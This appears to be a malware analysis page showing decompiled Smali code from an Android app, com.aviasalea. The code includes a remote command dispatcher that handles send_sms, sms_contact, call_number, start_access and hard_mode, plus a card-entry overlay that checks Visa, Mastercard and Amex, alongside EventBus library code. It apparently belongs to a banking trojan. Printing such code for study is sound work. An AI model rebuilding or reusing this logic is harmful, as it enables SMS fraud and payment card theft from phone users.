                                      151invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      152goto/16 :goto_7c
                                      153catchall_d1: move-exception v9
                                      154goto_d2: if-eqz v6, :cond_d7
                                      155try_start_d4:
                                      156invoke-virtual {v6}, Ljava/io/OutputStream;->close()V
                                      157cond_d7: if-eqz v0, :cond_dc
                                      158try_start_d9:
                                      159invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
                                      160goto_dc: if-eqz v4, :cond_e1
                                      161try_start_de:
                                      162invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                      163goto_e1: throw v9
                                      164catch_e2: move-exception v3
                                      166invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      167goto/16 :goto_d7
                                      168catch_e7: move-exception v3
                                      170invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      171goto/16 :goto_dc
                                      172catch_ec: move-exception v3
                                      174invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      175goto/16 :goto_e1
                                      176catchall_f1: move-exception v9
                                      177move-object v0, v1
                                      178goto/16 :goto_d2
                                      179catch_f4: move-exception v3
                                      180goto/16 :goto_6a
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.setWFCounts
                                      • com.aviasalea.Realtalk.setPingCounts
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.registration
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendSms
                                      • java.lang.Exception.printStackTrace
                                      • java.lang.Exception.toString
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.smsContact
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.getPush
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.tracker
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.changeSmsClient
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.hardMode
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.callNumber
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.startAccess
                                      • com.aviasalea.srs.CmndSrs.onPing
                                      Strings
                                      • registration
                                      • send_sms
                                      • sms_contact
                                      • get_push
                                      • tracker
                                      • change_sms_client
                                      • hard_mode
                                      • call_number
                                      • start_access
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "result" # Lcom/aviasalea/srs/api/responses/HitGateResponse;
                                      2.prologue
                                      3const/4 v2, 0x0
                                      4iget v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->ret:I
                                      5if-nez v1, :cond_9d
                                      7invoke-static {p1, v2}, Lcom/aviasalea/Realtalk;->setWFCounts(Landroid/content/Context;I)V
                                      9invoke-static {p1, v2}, Lcom/aviasalea/Realtalk;->setPingCounts(Landroid/content/Context;I)V
                                      10try_start_b:
                                      11iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      12if-eqz v1, :cond_20
                                      13iget-wide v2, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->rid:J
                                      14iput-wide v2, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      16iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      18const-string v2, "registration"
                                      20invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      21move-result v1
                                      22if-eqz v1, :cond_21
                                      24invoke-direct {p0, p1}, Lcom/aviasalea/srs/CmndSrs;->registration(Landroid/content/Context;)V
                                      25goto_20: return-void
                                      26cond_21:
                                      27iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      29const-string v2, "send_sms"
                                      31invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      32move-result v1
                                      33if-eqz v1, :cond_3b
                                      35invoke-direct {p0, p1, p2}, Lcom/aviasalea/srs/CmndSrs;->sendSms(Landroid/content/Context;Lcom/aviasalea/srs/api/responses/HitGateResponse;)V
                                      36try_end_2e: goto/16 :goto_20
                                      37catch_2f: move-exception v0
                                      39invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      41invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      42move-result-object v1
                                      44invoke-static {v1}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      45goto/16 :goto_20
                                      46try_start_3b:
                                      47iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      49const-string v2, "sms_contact"
                                      51invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      52move-result v1
                                      53if-eqz v1, :cond_49
                                      55invoke-direct {p0, p1, p2}, Lcom/aviasalea/srs/CmndSrs;->smsContact(Landroid/content/Context;Lcom/aviasalea/srs/api/responses/HitGateResponse;)V
                                      56goto/16 :goto_20
                                      57cond_49:
                                      58iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      60const-string v2, "get_push"
                                      62invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      63move-result v1
                                      64if-eqz v1, :cond_57
                                      66invoke-direct {p0, p1, p2}, Lcom/aviasalea/srs/CmndSrs;->getPush(Landroid/content/Context;Lcom/aviasalea/srs/api/responses/HitGateResponse;)V
                                      67goto/16 :goto_20
                                      68cond_57:
                                      69iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      71const-string v2, "tracker"
                                      73invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      74move-result v1
                                      75if-eqz v1, :cond_65
                                      77invoke-direct {p0, p1}, Lcom/aviasalea/srs/CmndSrs;->tracker(Landroid/content/Context;)V
                                      78goto/16 :goto_20
                                      79cond_65:
                                      80iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      82const-string v2, "change_sms_client"
                                      84invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      85move-result v1
                                      86if-eqz v1, :cond_73
                                      88invoke-direct {p0, p1, p2}, Lcom/aviasalea/srs/CmndSrs;->changeSmsClient(Landroid/content/Context;Lcom/aviasalea/srs/api/responses/HitGateResponse;)V
                                      89goto/16 :goto_20
                                      90cond_73:
                                      91iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      93const-string v2, "hard_mode"
                                      95invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      96move-result v1
                                      97if-eqz v1, :cond_81
                                      99invoke-direct {p0, p1, p2}, Lcom/aviasalea/srs/CmndSrs;->hardMode(Landroid/content/Context;Lcom/aviasalea/srs/api/responses/HitGateResponse;)V
                                      100goto/16 :goto_20
                                      101cond_81:
                                      102iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      104const-string v2, "call_number"
                                      106invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      107move-result v1
                                      108if-eqz v1, :cond_8f
                                      110invoke-direct {p0, p1, p2}, Lcom/aviasalea/srs/CmndSrs;->callNumber(Landroid/content/Context;Lcom/aviasalea/srs/api/responses/HitGateResponse;)V
                                      111goto/16 :goto_20
                                      112cond_8f:
                                      113iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      115const-string v2, "start_access"
                                      117invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      118move-result v1
                                      119if-eqz v1, :cond_20
                                      121invoke-direct {p0, p1, p2}, Lcom/aviasalea/srs/CmndSrs;->startAccess(Landroid/content/Context;Lcom/aviasalea/srs/api/responses/HitGateResponse;)V
                                      122try_end_9c: goto/16 :goto_20
                                      123cond_9d:
                                      124invoke-direct {p0, p1}, Lcom/aviasalea/srs/CmndSrs;->onPing(Landroid/content/Context;)V
                                      125goto/16 :goto_20
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setError
                                      • java.lang.String.length
                                      • java.lang.String.length
                                      • java.lang.String.endsWith
                                      • java.lang.String.length
                                      • java.lang.String.substring
                                      • java.lang.String.length
                                      • java.lang.Integer.parseInt
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.String.length
                                      • java.lang.String.startsWith
                                      • java.lang.String.endsWith
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.String.startsWith
                                      • java.lang.String.substring
                                      • java.lang.Integer.parseInt
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.String.substring
                                      Strings
                                      • /
                                      • 0
                                      • 1
                                      Position Instruction Meta Information
                                      0.param p1, "source" # Ljava/lang/String;
                                      1.prologue
                                      2const/4 v4, 0x2
                                      3const/4 v3, 0x0
                                      4const/4 v2, 0x1
                                      6iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      7const/4 v1, 0x0
                                      9invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setError(Ljava/lang/String;)V
                                      11iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->currentText:Ljava/lang/String;
                                      13invoke-virtual {v0}, Ljava/lang/String;->length()I
                                      14move-result v0
                                      16invoke-virtual {p1}, Ljava/lang/String;->length()I
                                      17move-result v1
                                      18if-le v0, v1, :cond_2a
                                      20iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->currentText:Ljava/lang/String;
                                      22const-string v1, "/"
                                      24invoke-virtual {v0, v1}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                                      25move-result v0
                                      26if-eqz v0, :cond_ac
                                      28invoke-virtual {p1}, Ljava/lang/String;->length()I
                                      29move-result v0
                                      30add-int/lit8 v0, v0, -0x1
                                      32invoke-virtual {p1, v3, v0}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                      33move-result-object v0
                                      34goto_29: return-object v0
                                      35cond_2a:
                                      36invoke-virtual {p1}, Ljava/lang/String;->length()I
                                      37move-result v0
                                      38if-ne v0, v2, :cond_50
                                      40invoke-static {p1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      41move-result v0
                                      42if-le v0, v2, :cond_ac
                                      43new-instance v0, Ljava/lang/StringBuilder;
                                      45invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                      47const-string v1, "0"
                                      49invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      50move-result-object v0
                                      52invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      53move-result-object v0
                                      55const-string v1, "/"
                                      57invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      58move-result-object v0
                                      60invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      61move-result-object v0
                                      62goto/16 :goto_29
                                      63cond_50:
                                      64invoke-virtual {p1}, Ljava/lang/String;->length()I
                                      65move-result v0
                                      66if-ne v0, v4, :cond_ac
                                      68const-string v0, "0"
                                      70invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                      71move-result v0
                                      72if-eqz v0, :cond_7d
                                      74const-string v0, "0"
                                      76invoke-virtual {p1, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                                      77move-result v0
                                      78if-eqz v0, :cond_69
                                      80const-string v0, "0"
                                      81goto/16 :goto_29
                                      82cond_69: new-instance v0, Ljava/lang/StringBuilder;
                                      84invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                      86invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      87move-result-object v0
                                      89const-string v1, "/"
                                      91invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      92move-result-object v0
                                      94invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      95move-result-object v0
                                      96goto/16 :goto_29
                                      97cond_7d:
                                      98const-string v0, "1"
                                      100invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                      101move-result v0
                                      102if-eqz v0, :cond_a6
                                      104invoke-virtual {p1, v2}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                      105move-result-object v0
                                      107invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      108move-result v0
                                      109if-le v0, v4, :cond_92
                                      111const-string v0, "1"
                                      112goto/16 :goto_29
                                      113cond_92: new-instance v0, Ljava/lang/StringBuilder;
                                      115invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                      117invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      118move-result-object v0
                                      120const-string v1, "/"
                                      122invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      123move-result-object v0
                                      125invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      126move-result-object v0
                                      127goto/16 :goto_29
                                      128cond_a6:
                                      129invoke-virtual {p1, v3, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                      130move-result-object v0
                                      131goto/16 :goto_29
                                      132cond_ac: move-object v0, p1
                                      133goto/16 :goto_29
                                      APIs
                                      • com.aviasalea.injs.g.view.GView.access$600
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.injs.g.view.GView.access$700
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.injs.g.view.GView.access$800
                                      • android.widget.ImageView.setVisibility
                                      • java.lang.String.hashCode
                                      • com.aviasalea.injs.g.view.GView.access$600
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.injs.g.view.GView.access$700
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.injs.g.view.GView.access$800
                                      • android.widget.ImageView.setVisibility
                                      • java.lang.String.equals
                                      • java.lang.String.equals
                                      • java.lang.String.equals
                                      • com.aviasalea.injs.g.view.GView.access$600
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.injs.g.view.GView.access$700
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.injs.g.view.GView.access$800
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.injs.g.view.GView.access$600
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.injs.g.view.GView.access$700
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.injs.g.view.GView.access$800
                                      • android.widget.ImageView.setVisibility
                                      Strings
                                      • American Express
                                      • Master
                                      • Visa
                                      Position Instruction Meta Information
                                      0.param p1, "card" # Lcom/aviasalea/injs/g/val/models/Card;
                                      1.prologue
                                      2const/16 v4, 0x8
                                      3const/4 v1, 0x0
                                      4if-nez p1, :cond_21
                                      6iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      8invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$600(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      9move-result-object v0
                                      11invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setVisibility(I)V
                                      13iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      15invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$700(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      16move-result-object v0
                                      18invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setVisibility(I)V
                                      20iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      22invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$800(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      23move-result-object v0
                                      25invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setVisibility(I)V
                                      26goto_20: return-void
                                      27cond_21:
                                      28invoke-virtual {p1}, Lcom/aviasalea/injs/g/val/models/Card;->getCardName()Ljava/lang/String;
                                      29move-result-object v2
                                      30const/4 v0, -0x1
                                      32invoke-virtual {v2}, Ljava/lang/String;->hashCode()I
                                      33move-result v3
                                      34sparse-switch v3, :sswitch_data_a4
                                      35goto_2d: packed-switch v0, :pswitch_data_b2
                                      36goto/16 :goto_20
                                      37pswitch_31:
                                      38iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      40invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$600(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      41move-result-object v0
                                      43invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setVisibility(I)V
                                      45iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      47invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$700(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      48move-result-object v0
                                      50invoke-virtual {v0, v4}, Landroid/widget/ImageView;->setVisibility(I)V
                                      52iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      54invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$800(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      55move-result-object v0
                                      57invoke-virtual {v0, v4}, Landroid/widget/ImageView;->setVisibility(I)V
                                      58goto/16 :goto_20
                                      59sswitch_4d:
                                      60const-string v3, "American Express"
                                      62invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      63move-result v2
                                      64if-eqz v2, :cond_2d
                                      65move v0, v1
                                      66goto/16 :goto_2d
                                      67sswitch_57:
                                      68const-string v3, "Master"
                                      70invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      71move-result v2
                                      72if-eqz v2, :cond_2d
                                      73const/4 v0, 0x1
                                      74goto/16 :goto_2d
                                      75sswitch_61:
                                      76const-string v3, "Visa"
                                      78invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      79move-result v2
                                      80if-eqz v2, :cond_2d
                                      81const/4 v0, 0x2
                                      82goto/16 :goto_2d
                                      83pswitch_6b:
                                      84iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      86invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$600(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      87move-result-object v0
                                      89invoke-virtual {v0, v4}, Landroid/widget/ImageView;->setVisibility(I)V
                                      91iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      93invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$700(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      94move-result-object v0
                                      96invoke-virtual {v0, v4}, Landroid/widget/ImageView;->setVisibility(I)V
                                      98iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      100invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$800(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      101move-result-object v0
                                      103invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setVisibility(I)V
                                      104goto/16 :goto_20
                                      105pswitch_87:
                                      106iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      108invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$600(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      109move-result-object v0
                                      111invoke-virtual {v0, v4}, Landroid/widget/ImageView;->setVisibility(I)V
                                      113iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      115invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$700(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      116move-result-object v0
                                      118invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setVisibility(I)V
                                      120iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      122invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$800(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/ImageView;
                                      123move-result-object v0
                                      125invoke-virtual {v0, v4}, Landroid/widget/ImageView;->setVisibility(I)V
                                      126goto/16 :goto_20
                                      Cross References
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.Object.getClass
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      • de.greenrobot.event.EventBusException.<init>
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.Object.getClass
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.Object.getClass
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      Strings
                                      • SubscriberExceptionEvent subscriber
                                      • threw an exception
                                      • Initial event
                                      • caused exception in
                                      • Invoking subscriber failed
                                      • Could not dispatch event:
                                      • to subscribing class
                                      Position Instruction Meta Information
                                      0.param p1, "subscription" # Lde/greenrobot/event/Subscription;
                                      1.param p2, "event" # Ljava/lang/Object;
                                      2.param p3, "cause" # Ljava/lang/Throwable;
                                      3.prologue
                                      4instance-of v1, p2, Lde/greenrobot/event/SubscriberExceptionEvent;
                                      5if-eqz v1, :cond_58
                                      6iget-boolean v1, p0, Lde/greenrobot/event/EventBus;->logSubscriberExceptions:Z
                                      7if-eqz v1, :cond_57
                                      9sget-object v1, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      10new-instance v2, Ljava/lang/StringBuilder;
                                      12invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      14const-string v3, "SubscriberExceptionEvent subscriber "
                                      16invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      17move-result-object v2
                                      19iget-object v3, p1, Lde/greenrobot/event/Subscription;->subscriber:Ljava/lang/Object;
                                      21invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      22move-result-object v3
                                      24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      25move-result-object v2
                                      27const-string v3, " threw an exception"
                                      29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      30move-result-object v2
                                      32invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      33move-result-object v2
                                      35invoke-static {v1, v2, p3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                      36move-object v0, p2
                                      37check-cast v0, Lde/greenrobot/event/SubscriberExceptionEvent;
                                      39sget-object v1, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      40new-instance v2, Ljava/lang/StringBuilder;
                                      42invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      44const-string v3, "Initial event "
                                      46invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      47move-result-object v2
                                      49iget-object v3, v0, Lde/greenrobot/event/SubscriberExceptionEvent;->causingEvent:Ljava/lang/Object;
                                      51invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      52move-result-object v2
                                      54const-string v3, " caused exception in "
                                      56invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      57move-result-object v2
                                      59iget-object v3, v0, Lde/greenrobot/event/SubscriberExceptionEvent;->causingSubscriber:Ljava/lang/Object;
                                      61invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      62move-result-object v2
                                      64invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      65move-result-object v2
                                      67iget-object v3, v0, Lde/greenrobot/event/SubscriberExceptionEvent;->throwable:Ljava/lang/Throwable;
                                      69invoke-static {v1, v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                      70goto_57: return-void
                                      71cond_58: iget-boolean v1, p0, Lde/greenrobot/event/EventBus;->throwSubscriberException:Z
                                      72if-eqz v1, :cond_64
                                      73new-instance v1, Lde/greenrobot/event/EventBusException;
                                      75const-string v2, "Invoking subscriber failed"
                                      77invoke-direct {v1, v2, p3}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                      78throw v1
                                      79cond_64: iget-boolean v1, p0, Lde/greenrobot/event/EventBus;->logSubscriberExceptions:Z
                                      80if-eqz v1, :cond_94
                                      82sget-object v1, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      83new-instance v2, Ljava/lang/StringBuilder;
                                      85invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      87const-string v3, "Could not dispatch event: "
                                      89invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      90move-result-object v2
                                      92invoke-virtual {p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      93move-result-object v3
                                      95invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      96move-result-object v2
                                      98const-string v3, " to subscribing class "
                                      100invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      101move-result-object v2
                                      103iget-object v3, p1, Lde/greenrobot/event/Subscription;->subscriber:Ljava/lang/Object;
                                      105invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      106move-result-object v3
                                      108invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      109move-result-object v2
                                      111invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      112move-result-object v2
                                      114invoke-static {v1, v2, p3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                      115cond_94: iget-boolean v1, p0, Lde/greenrobot/event/EventBus;->sendSubscriberExceptionEvent:Z
                                      116if-eqz v1, :cond_57
                                      117new-instance v0, Lde/greenrobot/event/SubscriberExceptionEvent;
                                      119iget-object v1, p1, Lde/greenrobot/event/Subscription;->subscriber:Ljava/lang/Object;
                                      121invoke-direct {v0, p0, p3, p2, v1}, Lde/greenrobot/event/SubscriberExceptionEvent;-><init>(Lde/greenrobot/event/EventBus;Ljava/lang/Throwable;Ljava/lang/Object;Ljava/lang/Object;)V
                                      123invoke-virtual {p0, v0}, Lde/greenrobot/event/EventBus;->post(Ljava/lang/Object;)V
                                      124goto/16 :goto_57
                                      Cross References
                                      APIs
                                      • java.lang.Object.getClass
                                      • java.lang.Class.getSuperclass
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.Object.getClass
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.RuntimeException.<init>
                                      • java.lang.Class.getName
                                      • java.lang.String.equals
                                      • java.lang.String.startsWith
                                      • java.lang.String.endsWith
                                      • java.lang.String.endsWith
                                      • java.lang.String.endsWith
